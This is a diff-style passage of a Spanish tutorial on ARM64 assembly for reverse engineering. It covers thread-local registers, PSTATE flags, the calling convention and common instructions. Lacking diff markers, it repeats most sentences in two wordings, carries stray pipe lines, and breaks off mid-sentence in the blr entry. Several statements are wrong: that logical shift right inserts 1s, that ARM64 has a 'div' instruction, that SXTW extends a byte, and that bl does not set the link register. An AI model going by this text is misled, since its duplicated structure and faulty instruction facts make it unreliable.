- `mrs x0, TPIDR_EL0 ; Leer TPIDR_EL0 en x0`
|
||||
- `msr TPIDR_EL0, X0 ; Escribir x0 en TPIDR_EL0`
|
||||
Los registros especiales **`TPIDR_EL0`** y **`TPIDDR_EL0`** se encuentran comúnmente al realizar reverse engineering. El sufijo `EL0` indica la **exception mínima** desde la cual el registro puede ser accedido (en este caso EL0 es el nivel de excepción (privilegio) regular con el que se ejecutan los programas ordinarios).\
|
||||
A menudo se usan para almacenar la **dirección base del thread-local storage** en memoria. Normalmente el primero es legible y escribible por programas que se ejecutan en EL0, pero el segundo puede leerse desde EL0 y escribirse desde EL1 (como el kernel).
|
||||
|
||||
- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0`
|
||||
- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** contiene varios componentes del proceso serializados en el registro especial visible para el sistema operativo **`SPSR_ELx`**, siendo X el **nivel de permiso** **del nivel de excepción** que se activó (esto permite recuperar el estado del proceso cuando la excepción termina).\
|
||||
**PSTATE** contiene varios componentes del proceso serializados en el registro especial visible por el sistema operativo **`SPSR_ELx`**, siendo X el **nivel de permiso de la excepción desencadenada** (esto permite recuperar el estado del proceso cuando la excepción finaliza).\
|
||||
Estos son los campos accesibles:
|
||||
|
||||
<figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Las **banderas de condición `N`**, **`Z`**, **`C`** y **`V`**:
|
||||
- **`N`** significa que la operación produjo un resultado negativo.
|
||||
- **`Z`** significa que la operación produjo cero.
|
||||
- **`C`** significa que la operación tuvo acarreo.
|
||||
- **`V`** significa que la operación produjo un desbordamiento con signo:
|
||||
- Las banderas de condición **`N`**, **`Z`**, **`C`** y **`V`**:
|
||||
- **`N`** significa que la operación produjo un resultado negativo
|
||||
- **`Z`** significa que la operación produjo cero
|
||||
- **`C`** significa que la operación produjo carry
|
||||
- **`V`** significa que la operación produjo un overflow con signo:
|
||||
- La suma de dos números positivos produce un resultado negativo.
|
||||
- La suma de dos números negativos produce un resultado positivo.
|
||||
- En la resta, cuando se resta un número negativo grande de un número positivo más pequeño (o viceversa), y el resultado no puede ser representado dentro del rango del tamaño de bits dado.
|
||||
- Obviamente, el procesador no sabe si la operación es con signo o no, por lo que verificará C y V en las operaciones e indicará si ocurrió un acarreo en caso de que fuera con signo o sin signo.
|
||||
- En la resta, cuando se resta un número negativo grande de un número positivo más pequeño (o viceversa), y el resultado no puede representarse dentro del rango del tamaño de bits dado.
|
||||
- Obviamente el procesador no sabe si la operación es con signo o sin signo, por lo que comprobará C y V en las operaciones e indicará si ocurrió un carry en caso de que fuera con signo o sin signo.
|
||||
|
||||
> [!WARNING]
|
||||
> No todas las instrucciones actualizan estas banderas. Algunas como **`CMP`** o **`TST`** lo hacen, y otras que tienen un sufijo s como **`ADDS`** también lo hacen.
|
||||
> No todas las instrucciones actualizan estas banderas. Algunas como **`CMP`** o **`TST`** sí lo hacen, y otras que tienen un sufijo s como **`ADDS`** también lo hacen.
|
||||
|
||||
- La **bandera de ancho de registro actual (`nRW`)**: Si la bandera tiene el valor 0, el programa se ejecutará en el estado de ejecución AArch64 una vez reanudado.
|
||||
- El **Nivel de Excepción** (**`EL`**): Un programa regular que se ejecuta en EL0 tendrá el valor 0.
|
||||
- La **bandera de paso único** (**`SS`**): Utilizada por depuradores para realizar un paso único configurando la bandera SS a 1 dentro de **`SPSR_ELx`** a través de una excepción. El programa ejecutará un paso y emitirá una excepción de paso único.
|
||||
- La **bandera de estado de excepción ilegal** (**`IL`**): Se utiliza para marcar cuando un software privilegiado realiza una transferencia de nivel de excepción inválida, esta bandera se establece en 1 y el procesador activa una excepción de estado ilegal.
|
||||
- Las banderas **`DAIF`**: Estas banderas permiten a un programa privilegiado enmascarar selectivamente ciertas excepciones externas.
|
||||
- Si **`A`** es 1, significa que se activarán **abortos asíncronos**. La **`I`** configura la respuesta a las **Solicitudes de Interrupción de Hardware** (IRQ). y la F está relacionada con **Solicitudes de Interrupción Rápida** (FIR).
|
||||
- Las banderas de selección de puntero de pila (**`SPS`**): Los programas privilegiados que se ejecutan en EL1 y superiores pueden alternar entre usar su propio registro de puntero de pila y el de modelo de usuario (por ejemplo, entre `SP_EL1` y `EL0`). Este cambio se realiza escribiendo en el registro especial **`SPSel`**. Esto no se puede hacer desde EL0.
|
||||
- La **actual ancho de registro (`nRW`) flag**: Si la bandera tiene el valor 0, el programa se ejecutará en el estado de ejecución AArch64 una vez reanudado.
|
||||
- El **Exception Level** actual (**`EL`**): Un programa regular ejecutándose en EL0 tendrá el valor 0
|
||||
- La bandera de **single stepping** (**`SS`**): Usada por depuradores para ejecutar paso a paso poniendo la bandera SS a 1 dentro de **`SPSR_ELx`** a través de una excepción. El programa ejecutará un paso y emitirá una excepción de single step.
|
||||
- La bandera de **illegal exception state** (**`IL`**): Se usa para marcar cuando un software privilegiado realiza una transferencia de nivel de excepción inválida, esta bandera se pone a 1 y el procesador desencadena una excepción de estado ilegal.
|
||||
- Las banderas **`DAIF`**: Estas banderas permiten que un programa privilegiado enmascare selectivamente ciertas excepciones externas.
|
||||
- Si **`A`** es 1 significa que se dispararán **asynchronous aborts**. La **`I`** configura la respuesta a las solicitudes externas de interrupción de hardware (IRQs). y la F está relacionada con **Fast Interrupt Requests** (FIRs).
|
||||
- Las banderas de **selección de puntero de pila** (**`SPS`**): Los programas privilegiados que se ejecutan en EL1 y superiores pueden alternar entre usar su propio registro de puntero de pila y el del modo usuario (por ejemplo entre `SP_EL1` y `EL0`). Este cambio se realiza escribiendo en el registro especial **`SPSel`**. Esto no puede hacerse desde EL0.
|
||||
|
||||
## **Convención de Llamadas (ARM64v8)**
|
||||
## **Calling Convention (ARM64v8)**
|
||||
|
||||
La convención de llamadas ARM64 especifica que los **primeros ocho parámetros** a una función se pasan en los registros **`x0` a `x7`**. Los **parámetros adicionales** se pasan en la **pila**. El **valor de retorno** se pasa de vuelta en el registro **`x0`**, o en **`x1`** también **si tiene 128 bits de longitud**. Los registros **`x19`** a **`x30`** y **`sp`** deben ser **preservados** a través de las llamadas a funciones.
|
||||
La calling convention de ARM64 especifica que los **primeros ocho parámetros** a una función se pasan en los registros **`x0` hasta `x7`**. Los parámetros **adicionales** se pasan en la **pila**. El valor de **retorno** se devuelve en el registro **`x0`**, o también en **`x1`** si tiene **128 bits** de longitud. Los registros **`x19`** a **`x30`** y **`sp`** deben **preservarse** a través de las llamadas a funciones.
|
||||
|
||||
Al leer una función en ensamblador, busque el **prólogo y epílogo de la función**. El **prólogo** generalmente implica **guardar el puntero de marco (`x29`)**, **configurar** un **nuevo puntero de marco**, y **asignar espacio en la pila**. El **epílogo** generalmente implica **restaurar el puntero de marco guardado** y **retornar** de la función.
|
||||
Al leer una función en ensamblador, busca el **prologue** y el **epilogue** de la función. El **prologue** normalmente implica **guardar el frame pointer (`x29`)**, **configurar** un **nuevo frame pointer** y **asignar espacio en la pila**. El **epilogue** normalmente implica **restaurar el frame pointer guardado** y **retornar** desde la función.
|
||||
|
||||
### Convención de Llamadas en Swift
|
||||
### Calling Convention in Swift
|
||||
|
||||
Swift tiene su propia **convención de llamadas** que se puede encontrar en [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||
Swift tiene su propia **calling convention** que puede encontrarse en [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||
|
||||
## **Instrucciones Comunes (ARM64v8)**
|
||||
## **Common Instructions (ARM64v8)**
|
||||
|
||||
Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2`**, donde **`opcode`** es la **operación** que se va a realizar (como `add`, `sub`, `mov`, etc.), **`dst`** es el **registro de destino** donde se almacenará el resultado, y **`src1`** y **`src2`** son los **registros de origen**. También se pueden utilizar valores inmediatos en lugar de registros de origen.
|
||||
Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2`**, donde **`opcode`** es la **operación** a realizar (como `add`, `sub`, `mov`, etc.), **`dst`** es el registro **destino** donde se almacenará el resultado, y **`src1`** y **`src2`** son los registros **origen**. También se pueden usar valores inmediatos en lugar de registros fuente.
|
||||
|
||||
- **`mov`**: **Mover** un valor de un **registro** a otro.
|
||||
- Ejemplo: `mov x0, x1` — Esto mueve el valor de `x1` a `x0`.
|
||||
- **`ldr`**: **Cargar** un valor de **memoria** en un **registro**.
|
||||
- Ejemplo: `ldr x0, [x1]` — Esto carga un valor de la ubicación de memoria apuntada por `x1` en `x0`.
|
||||
- **Modo de desplazamiento**: Se indica un desplazamiento que afecta al puntero de origen, por ejemplo:
|
||||
- `ldr x2, [x1, #8]`, esto cargará en x2 el valor de x1 + 8.
|
||||
- `ldr x2, [x0, x1, lsl #2]`, esto cargará en x2 un objeto del array x0, desde la posición x1 (índice) \* 4.
|
||||
- **Modo pre-indexado**: Esto aplicará cálculos al origen, obtendrá el resultado y también almacenará el nuevo origen en el origen.
|
||||
- `ldr x2, [x1, #8]!`, esto cargará `x1 + 8` en `x2` y almacenará en x1 el resultado de `x1 + 8`.
|
||||
- `str lr, [sp, #-4]!`, Almacena el registro de enlace en sp y actualiza el registro sp.
|
||||
- **Modo post-indexado**: Esto es como el anterior, pero se accede a la dirección de memoria y luego se calcula y almacena el desplazamiento.
|
||||
- `ldr x0, [x1], #8`, carga `x1` en `x0` y actualiza x1 con `x1 + 8`.
|
||||
- **Dirección relativa al PC**: En este caso, la dirección a cargar se calcula en relación con el registro PC.
|
||||
- **`ldr`**: **Cargar** un valor desde **memoria** a un **registro**.
|
||||
- Ejemplo: `ldr x0, [x1]` — Esto carga un valor desde la dirección de memoria apuntada por `x1` en `x0`.
|
||||
- **Modo offset**: Se indica un offset que afecta al puntero origen, por ejemplo:
|
||||
- `ldr x2, [x1, #8]`, esto cargará en x2 el valor desde x1 + 8
|
||||
- `ldr x2, [x0, x1, lsl #2]`, esto cargará en x2 un objeto del array x0, desde la posición x1 (índice) * 4
|
||||
- **Modo pre-indexado**: Esto aplicará cálculos al origen, obtendrá el resultado y también almacenará el nuevo origen en el registro origen.
|
||||
- `ldr x2, [x1, #8]!`, esto cargará `x1 + 8` en `x2` y almacenará en x1 el resultado de `x1 + 8`
|
||||
- `str lr, [sp, #-4]!`, Almacena el link register en sp y actualiza el registro sp
|
||||
- **Modo post-index**: Esto es como el anterior pero la dirección de memoria se accede y luego se calcula y almacena el offset.
|
||||
- `ldr x0, [x1], #8`, carga `x1` en `x0` y actualiza x1 con `x1 + 8`
|
||||
- **Direccionamiento relativo a PC**: En este caso la dirección a cargar se calcula relativa al registro PC
|
||||
- `ldr x1, =_start`, Esto cargará la dirección donde comienza el símbolo `_start` en x1 en relación con el PC actual.
|
||||
- **`str`**: **Almacenar** un valor de un **registro** en **memoria**.
|
||||
- Ejemplo: `str x0, [x1]` — Esto almacena el valor en `x0` en la ubicación de memoria apuntada por `x1`.
|
||||
- **`ldp`**: **Cargar Par de Registros**. Esta instrucción **carga dos registros** desde **ubicaciones de memoria** consecutivas. La dirección de memoria se forma típicamente sumando un desplazamiento al valor en otro registro.
|
||||
- **`str`**: **Almacenar** un valor desde un **registro** en **memoria**.
|
||||
- Ejemplo: `str x0, [x1]` — Esto almacena el valor de `x0` en la ubicación de memoria apuntada por `x1`.
|
||||
- **`ldp`**: **Load Pair of Registers**. Esta instrucción **carga dos registros** desde **memoria consecutiva**. La dirección de memoria típicamente se forma sumando un offset al valor en otro registro.
|
||||
- Ejemplo: `ldp x0, x1, [x2]` — Esto carga `x0` y `x1` desde las ubicaciones de memoria en `x2` y `x2 + 8`, respectivamente.
|
||||
- **`stp`**: **Almacenar Par de Registros**. Esta instrucción **almacena dos registros** en **ubicaciones de memoria** consecutivas. La dirección de memoria se forma típicamente sumando un desplazamiento al valor en otro registro.
|
||||
- **`stp`**: **Store Pair of Registers**. Esta instrucción **almacena dos registros** en **memoria consecutiva**. La dirección de memoria típicamente se forma sumando un offset al valor en otro registro.
|
||||
- Ejemplo: `stp x0, x1, [sp]` — Esto almacena `x0` y `x1` en las ubicaciones de memoria en `sp` y `sp + 8`, respectivamente.
|
||||
- `stp x0, x1, [sp, #16]!` — Esto almacena `x0` y `x1` en las ubicaciones de memoria en `sp+16` y `sp + 24`, respectivamente, y actualiza `sp` con `sp+16`.
|
||||
- **`add`**: **Sumar** los valores de dos registros y almacenar el resultado en un registro.
|
||||
@ -128,128 +131,128 @@ Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2
|
||||
- Xn1 -> Destino
|
||||
- Xn2 -> Operando 1
|
||||
- Xn3 | #imm -> Operando 2 (registro o inmediato)
|
||||
- \[shift #N | RRX] -> Realizar un desplazamiento o llamar a RRX.
|
||||
- \[shift #N | RRX] -> Realiza un shift o llama a RRX
|
||||
- Ejemplo: `add x0, x1, x2` — Esto suma los valores en `x1` y `x2` y almacena el resultado en `x0`.
|
||||
- `add x5, x5, #1, lsl #12` — Esto equivale a 4096 (un 1 desplazado 12 veces) -> 1 0000 0000 0000 0000.
|
||||
- **`adds`** Esto realiza un `add` y actualiza las banderas.
|
||||
- `add x5, x5, #1, lsl #12` — Esto equivale a 4096 (un 1 desplazado 12 veces) -> 1 0000 0000 0000 0000
|
||||
- **`adds`** Esto realiza un `add` y actualiza las banderas
|
||||
- **`sub`**: **Restar** los valores de dos registros y almacenar el resultado en un registro.
|
||||
- Verifique la **sintaxis de `add`**.
|
||||
- Revisa la **sintaxis** de **`add`**.
|
||||
- Ejemplo: `sub x0, x1, x2` — Esto resta el valor en `x2` de `x1` y almacena el resultado en `x0`.
|
||||
- **`subs`** Esto es como sub pero actualizando la bandera.
|
||||
- **`subs`** Esto es como sub pero actualizando las banderas
|
||||
- **`mul`**: **Multiplicar** los valores de **dos registros** y almacenar el resultado en un registro.
|
||||
- Ejemplo: `mul x0, x1, x2` — Esto multiplica los valores en `x1` y `x2` y almacena el resultado en `x0`.
|
||||
- **`div`**: **Dividir** el valor de un registro por otro y almacenar el resultado en un registro.
|
||||
- Ejemplo: `div x0, x1, x2` — Esto divide el valor en `x1` por `x2` y almacena el resultado en `x0`.
|
||||
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
- **Desplazamiento lógico a la izquierda**: Agrega 0s desde el final moviendo los otros bits hacia adelante (multiplica por n veces 2).
|
||||
- **Desplazamiento lógico a la derecha**: Agrega 1s al principio moviendo los otros bits hacia atrás (divide por n veces 2 en sin signo).
|
||||
- **Desplazamiento aritmético a la derecha**: Como **`lsr`**, pero en lugar de agregar 0s si el bit más significativo es un 1, se **agregan 1s** (divide por n veces 2 en con signo).
|
||||
- **Rotar a la derecha**: Como **`lsr`** pero lo que se elimina de la derecha se agrega a la izquierda.
|
||||
- **Rotar a la derecha con extensión**: Como **`ror`**, pero con la bandera de acarreo como el "bit más significativo". Así que la bandera de acarreo se mueve al bit 31 y el bit eliminado a la bandera de acarreo.
|
||||
- **`bfm`**: **Movimiento de Campo de Bits**, estas operaciones **copian bits `0...n`** de un valor y los colocan en posiciones **`m..m+n`**. El **`#s`** especifica la **posición del bit más a la izquierda** y **`#r`** la **cantidad de rotación a la derecha**.
|
||||
- Movimiento de campo de bits: `BFM Xd, Xn, #r`.
|
||||
- Movimiento de campo de bits con signo: `SBFM Xd, Xn, #r, #s`.
|
||||
- Movimiento de campo de bits sin signo: `UBFM Xd, Xn, #r, #s`.
|
||||
- **Extracción e Inserción de Campo de Bits:** Copia un campo de bits de un registro y lo copia a otro registro.
|
||||
- **`BFI X1, X2, #3, #4`** Inserta 4 bits de X2 desde el tercer bit de X1.
|
||||
- **`BFXIL X1, X2, #3, #4`** Extrae desde el tercer bit de X2 cuatro bits y los copia a X1.
|
||||
- **`SBFIZ X1, X2, #3, #4`** Extiende el signo de 4 bits de X2 e inserta en X1 comenzando en la posición de bit 3, poniendo a cero los bits de la derecha.
|
||||
- **`SBFX X1, X2, #3, #4`** Extrae 4 bits comenzando en el bit 3 de X2, extiende el signo y coloca el resultado en X1.
|
||||
- **`UBFIZ X1, X2, #3, #4`** Extiende 0s de 4 bits de X2 e inserta en X1 comenzando en la posición de bit 3, poniendo a cero los bits de la derecha.
|
||||
- **`UBFX X1, X2, #3, #4`** Extrae 4 bits comenzando en el bit 3 de X2 y coloca el resultado extendido a cero en X1.
|
||||
- **Extender Signo a X:** Extiende el signo (o simplemente agrega 0s en la versión sin signo) de un valor para poder realizar operaciones con él:
|
||||
- **`SXTB X1, W2`** Extiende el signo de un byte **de W2 a X1** (`W2` es la mitad de `X2`) para llenar los 64 bits.
|
||||
- **`SXTH X1, W2`** Extiende el signo de un número de 16 bits **de W2 a X1** para llenar los 64 bits.
|
||||
- **`SXTW X1, W2`** Extiende el signo de un byte **de W2 a X1** para llenar los 64 bits.
|
||||
- **`UXTB X1, W2`** Agrega 0s (sin signo) a un byte **de W2 a X1** para llenar los 64 bits.
|
||||
- **`extr`:** Extrae bits de un **par de registros concatenados** especificados.
|
||||
- Ejemplo: `EXTR W3, W2, W1, #3` Esto **concatena W1+W2** y obtiene **desde el bit 3 de W2 hasta el bit 3 de W1** y lo almacena en W3.
|
||||
- **`cmp`**: **Comparar** dos registros y establecer banderas de condición. Es un **alias de `subs`** estableciendo el registro de destino en el registro cero. Útil para saber si `m == n`.
|
||||
- Soporta la **misma sintaxis que `subs`**.
|
||||
- **Logical shift left**: Añade 0s al final moviendo los otros bits hacia adelante (multiplicar por 2^n)
|
||||
- **Logical shift right**: Añade 1s al principio moviendo los otros bits hacia atrás (dividir por 2^n en unsigned)
|
||||
- **Arithmetic shift right**: Como **`lsr`**, pero en lugar de añadir 0s si el bit más significativo es 1, se añaden 1s (divide por 2^n en signed)
|
||||
- **Rotate right**: Como **`lsr`** pero lo que se quita por la derecha se añade por la izquierda
|
||||
- **Rotate Right with Extend**: Como **`ror`**, pero con la bandera de carry como el "bit más significativo". Así la bandera de carry se mueve al bit 31 y el bit removido a la bandera de carry.
|
||||
- **`bfm`**: **Bit Filed Move**, estas operaciones **copian bits `0...n`** desde un valor y los colocan en posiciones **`m..m+n`**. El **`#s`** especifica la **posición del bit más a la izquierda** y **`#r`** la **cantidad de rotación a la derecha**.
|
||||
- Bitfiled move: `BFM Xd, Xn, #r`
|
||||
- Signed Bitfield move: `SBFM Xd, Xn, #r, #s`
|
||||
- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s`
|
||||
- **Bitfield Extract and Insert:** Copia un campo de bits desde un registro y lo copia a otro registro.
|
||||
- **`BFI X1, X2, #3, #4`** Inserta 4 bits de X2 desde el bit 3 en X1
|
||||
- **`BFXIL X1, X2, #3, #4`** Extrae desde el bit 3 de X2 cuatro bits y los copia en X1
|
||||
- **`SBFIZ X1, X2, #3, #4`** Extiende con signo 4 bits de X2 e insertarlos en X1 empezando en la posición de bit 3, poniendo a cero los bits a la derecha
|
||||
- **`SBFX X1, X2, #3, #4`** Extrae 4 bits empezando en el bit 3 de X2, los extiende con signo y coloca el resultado en X1
|
||||
- **`UBFIZ X1, X2, #3, #4`** Extiende con ceros 4 bits de X2 e insertarlos en X1 empezando en la posición de bit 3, poniendo a cero los bits a la derecha
|
||||
- **`UBFX X1, X2, #3, #4`** Extrae 4 bits empezando en el bit 3 de X2 y coloca el resultado extendido con ceros en X1.
|
||||
- **Sign Extend To X:** Extiende el signo (o añade solo 0s en la versión unsigned) de un valor para poder realizar operaciones con él:
|
||||
- **`SXTB X1, W2`** Extiende el signo de un byte **desde W2 a X1** (`W2` es la mitad de `X2`) para rellenar los 64 bits
|
||||
- **`SXTH X1, W2`** Extiende el signo de un número de 16 bits **desde W2 a X1** para rellenar los 64 bits
|
||||
- **`SXTW X1, W2`** Extiende el signo de un byte **desde W2 a X1** para rellenar los 64 bits
|
||||
- **`UXTB X1, W2`** Añade 0s (unsigned) a un byte **desde W2 a X1** para rellenar los 64 bits
|
||||
- **`extr`:** Extrae bits de un **par de registros concatenados** especificado.
|
||||
- Ejemplo: `EXTR W3, W2, W1, #3` Esto **concatenará W1+W2** y obtendrá **desde el bit 3 de W2 hasta el bit 3 de W1** y lo almacenará en W3.
|
||||
- **`cmp`**: **Comparar** dos registros y establecer las banderas de condición. Es un **alias de `subs`** que establece el registro destino al registro cero. Útil para saber si `m == n`.
|
||||
- Soporta la **misma sintaxis que `subs`**
|
||||
- Ejemplo: `cmp x0, x1` — Esto compara los valores en `x0` y `x1` y establece las banderas de condición en consecuencia.
|
||||
- **`cmn`**: **Comparar** el operando negativo. En este caso, es un **alias de `adds`** y soporta la misma sintaxis. Útil para saber si `m == -n`.
|
||||
- **`ccmp`**: Comparación condicional, es una comparación que se realizará solo si una comparación anterior fue verdadera y establecerá específicamente los bits nzcv.
|
||||
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> si x1 != x2 y x3 < x4, salta a func.
|
||||
- Esto se debe a que **`ccmp`** solo se ejecutará si la **anterior `cmp` fue un `NE`**, si no lo fue, los bits `nzcv` se establecerán en 0 (lo que no satisfará la comparación `blt`).
|
||||
- Esto también puede usarse como `ccmn` (lo mismo pero negativo, como `cmp` vs `cmn`).
|
||||
- **`tst`**: Verifica si alguno de los valores de la comparación son ambos 1 (funciona como un ANDS sin almacenar el resultado en ningún lado). Es útil para verificar un registro con un valor y comprobar si alguno de los bits del registro indicado en el valor es 1.
|
||||
- Ejemplo: `tst X1, #7` Verifica si alguno de los últimos 3 bits de X1 es 1.
|
||||
- **`teq`**: Operación XOR descartando el resultado.
|
||||
- **`b`**: Salto incondicional.
|
||||
- Ejemplo: `b myFunction`.
|
||||
- Tenga en cuenta que esto no llenará el registro de enlace con la dirección de retorno (no es adecuado para llamadas a subrutinas que necesitan regresar).
|
||||
- **`bl`**: **Branch** con enlace, utilizado para **llamar** a una **subrutina**. Almacena la **dirección de retorno en `x30`**.
|
||||
- **`cmn`**: **Compare negative** operando. En este caso es un **alias de `adds`** y soporta la misma sintaxis. Útil para saber si `m == -n`.
|
||||
- **`ccmp`**: Comparación condicional, es una comparación que se realizará solo si una comparación previa fue verdadera y establecerá específicamente bits nzcv.
|
||||
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> si x1 != x2 y x3 < x4, salta a func
|
||||
- Esto es porque **`ccmp`** solo se ejecutará si la **`cmp`** previa fue `NE`, si no lo fue los bits `nzcv` se establecerán a 0 (lo que no satisfará la comparación `blt`).
|
||||
- Esto también puede usarse como `ccmn` (igual pero negativo, como `cmp` vs `cmn`).
|
||||
- **`tst`**: Comprueba si alguno de los valores de la comparación tiene bits en 1 (funciona como un ANDS sin almacenar el resultado en ninguna parte). Es útil para comprobar un registro con un valor y ver si alguno de los bits del registro indicado en el valor es 1.
|
||||
- Ejemplo: `tst X1, #7` Comprueba si alguno de los últimos 3 bits de X1 es 1
|
||||
- **`teq`**: Operación XOR descartando el resultado
|
||||
- **`b`**: Branch incondicional
|
||||
- Ejemplo: `b myFunction`
|
||||
- Ten en cuenta que esto no llenará el link register con la dirección de retorno (no es adecuado para llamadas a subrutinas que necesitan volver)
|
||||
- **`bl`**: **Branch** con link, usado para **llamar** a una **subrutina**. Almacena la **dirección de retorno en `x30`**.
|
||||
- Ejemplo: `bl myFunction` — Esto llama a la función `myFunction` y almacena la dirección de retorno en `x30`.
|
||||
- Tenga en cuenta que esto no llenará el registro de enlace con la dirección de retorno (no es adecuado para llamadas a subrutinas que necesitan regresar).
|
||||
- **`blr`**: **Branch** con enlace a registro, utilizado para **llamar** a una **subrutina** donde el objetivo está **especificado** en un **registro**. Almacena la dirección de retorno en `x30`.
|
||||
- Ten en cuenta que esto no llenará el link register con la dirección de retorno (no es adecuado para llamadas a subrutinas que necesitan volver)
|
||||
- **`blr`**: **Branch** con Link a Registro, usado para **llamar** a una **subrutina** donde el objetivo está **especificado** en un **registro**. Almacena la dirección de retorno en `x30`. (Esto es
|
||||
- Ejemplo: `blr x1` — Esto llama a la función cuya dirección está contenida en `x1` y almacena la dirección de retorno en `x30`.
|
||||
- **`ret`**: **Retornar** de **subrutina**, típicamente usando la dirección en **`x30`**.
|
||||
- Ejemplo: `ret` — Esto retorna de la subrutina actual usando la dirección de retorno en `x30`.
|
||||
- **`b.<cond>`**: Saltos condicionales.
|
||||
- **`b.eq`**: **Branch si es igual**, basado en la instrucción `cmp` anterior.
|
||||
- Ejemplo: `b.eq label` — Si la instrucción `cmp` anterior encontró dos valores iguales, esto salta a `label`.
|
||||
- **`b.ne`**: **Branch si no es igual**. Esta instrucción verifica las banderas de condición (que fueron establecidas por una instrucción de comparación anterior), y si los valores comparados no eran iguales, salta a una etiqueta o dirección.
|
||||
- **`ret`**: **Retornar** desde una **subrutina**, típicamente usando la dirección en **`x30`**.
|
||||
- Ejemplo: `ret` — Esto retorna desde la subrutina actual usando la dirección de retorno en `x30`.
|
||||
- **`b.<cond>`**: Branchs condicionales
|
||||
- **`b.eq`**: **Branch si es igual**, basado en la instrucción `cmp` previa.
|
||||
- Ejemplo: `b.eq label` — Si la instrucción `cmp` previa encontró dos valores iguales, esto salta a `label`.
|
||||
- **`b.ne`**: **Branch si No Igual**. Esta instrucción comprueba las banderas de condición (que fueron establecidas por una instrucción de comparación previa), y si los valores comparados no eran iguales, salta a una etiqueta o dirección.
|
||||
- Ejemplo: Después de una instrucción `cmp x0, x1`, `b.ne label` — Si los valores en `x0` y `x1` no eran iguales, esto salta a `label`.
|
||||
- **`cbz`**: **Comparar y saltar si es cero**. Esta instrucción compara un registro con cero, y si son iguales, salta a una etiqueta o dirección.
|
||||
- **`cbz`**: **Compare and Branch on Zero**. Esta instrucción compara un registro con cero, y si son iguales, hace branch a una etiqueta o dirección.
|
||||
- Ejemplo: `cbz x0, label` — Si el valor en `x0` es cero, esto salta a `label`.
|
||||
- **`cbnz`**: **Comparar y saltar si no es cero**. Esta instrucción compara un registro con cero, y si no son iguales, salta a una etiqueta o dirección.
|
||||
- **`cbnz`**: **Compare and Branch on Non-Zero**. Esta instrucción compara un registro con cero, y si no son iguales, hace branch a una etiqueta o dirección.
|
||||
- Ejemplo: `cbnz x0, label` — Si el valor en `x0` no es cero, esto salta a `label`.
|
||||
- **`tbnz`**: Prueba de bit y salto si no es cero.
|
||||
- Ejemplo: `tbnz x0, #8, label`.
|
||||
- **`tbz`**: Prueba de bit y salto si es cero.
|
||||
- Ejemplo: `tbz x0, #8, label`.
|
||||
- **Operaciones de selección condicional**: Estas son operaciones cuyo comportamiento varía dependiendo de los bits condicionales.
|
||||
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Si es verdadero, X0 = X1, si es falso, X0 = X2.
|
||||
- `csinc Xd, Xn, Xm, cond` -> Si es verdadero, Xd = Xn, si es falso, Xd = Xm + 1.
|
||||
- `cinc Xd, Xn, cond` -> Si es verdadero, Xd = Xn + 1, si es falso, Xd = Xn.
|
||||
- `csinv Xd, Xn, Xm, cond` -> Si es verdadero, Xd = Xn, si es falso, Xd = NOT(Xm).
|
||||
- `cinv Xd, Xn, cond` -> Si es verdadero, Xd = NOT(Xn), si es falso, Xd = Xn.
|
||||
- `csneg Xd, Xn, Xm, cond` -> Si es verdadero, Xd = Xn, si es falso, Xd = - Xm.
|
||||
- `cneg Xd, Xn, cond` -> Si es verdadero, Xd = - Xn, si es falso, Xd = Xn.
|
||||
- `cset Xd, Xn, Xm, cond` -> Si es verdadero, Xd = 1, si es falso, Xd = 0.
|
||||
- `csetm Xd, Xn, Xm, cond` -> Si es verdadero, Xd = \<todos 1>, si es falso, Xd = 0.
|
||||
- **`adrp`**: Calcular la **dirección de página de un símbolo** y almacenarla en un registro.
|
||||
- **`tbnz`**: Test bit and branch on nonzero
|
||||
- Ejemplo: `tbnz x0, #8, label`
|
||||
- **`tbz`**: Test bit and branch on zero
|
||||
- Ejemplo: `tbz x0, #8, label`
|
||||
- **Operaciones de selección condicional**: Son operaciones cuyo comportamiento varía dependiendo de los bits de condición.
|
||||
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Si es true, X0 = X1, si es false, X0 = X2
|
||||
- `csinc Xd, Xn, Xm, cond` -> Si es true, Xd = Xn, si es false, Xd = Xm + 1
|
||||
- `cinc Xd, Xn, cond` -> Si es true, Xd = Xn + 1, si es false, Xd = Xn
|
||||
- `csinv Xd, Xn, Xm, cond` -> Si es true, Xd = Xn, si es false, Xd = NOT(Xm)
|
||||
- `cinv Xd, Xn, cond` -> Si es true, Xd = NOT(Xn), si es false, Xd = Xn
|
||||
- `csneg Xd, Xn, Xm, cond` -> Si es true, Xd = Xn, si es false, Xd = - Xm
|
||||
- `cneg Xd, Xn, cond` -> Si es true, Xd = - Xn, si es false, Xd = Xn
|
||||
- `cset Xd, Xn, Xm, cond` -> Si es true, Xd = 1, si es false, Xd = 0
|
||||
- `csetm Xd, Xn, Xm, cond` -> Si es true, Xd = \<all 1>, si es false, Xd = 0
|
||||
- **`adrp`**: Calcula la **dirección de página de un símbolo** y la almacena en un registro.
|
||||
- Ejemplo: `adrp x0, symbol` — Esto calcula la dirección de página de `symbol` y la almacena en `x0`.
|
||||
- **`ldrsw`**: **Cargar** un valor **de 32 bits** con signo de la memoria y **extenderlo a 64** bits.
|
||||
- Ejemplo: `ldrsw x0, [x1]` — Esto carga un valor de 32 bits con signo de la ubicación de memoria apuntada por `x1`, lo extiende a 64 bits y lo almacena en `x0`.
|
||||
- **`stur`**: **Almacenar un valor de registro en una ubicación de memoria**, utilizando un desplazamiento de otro registro.
|
||||
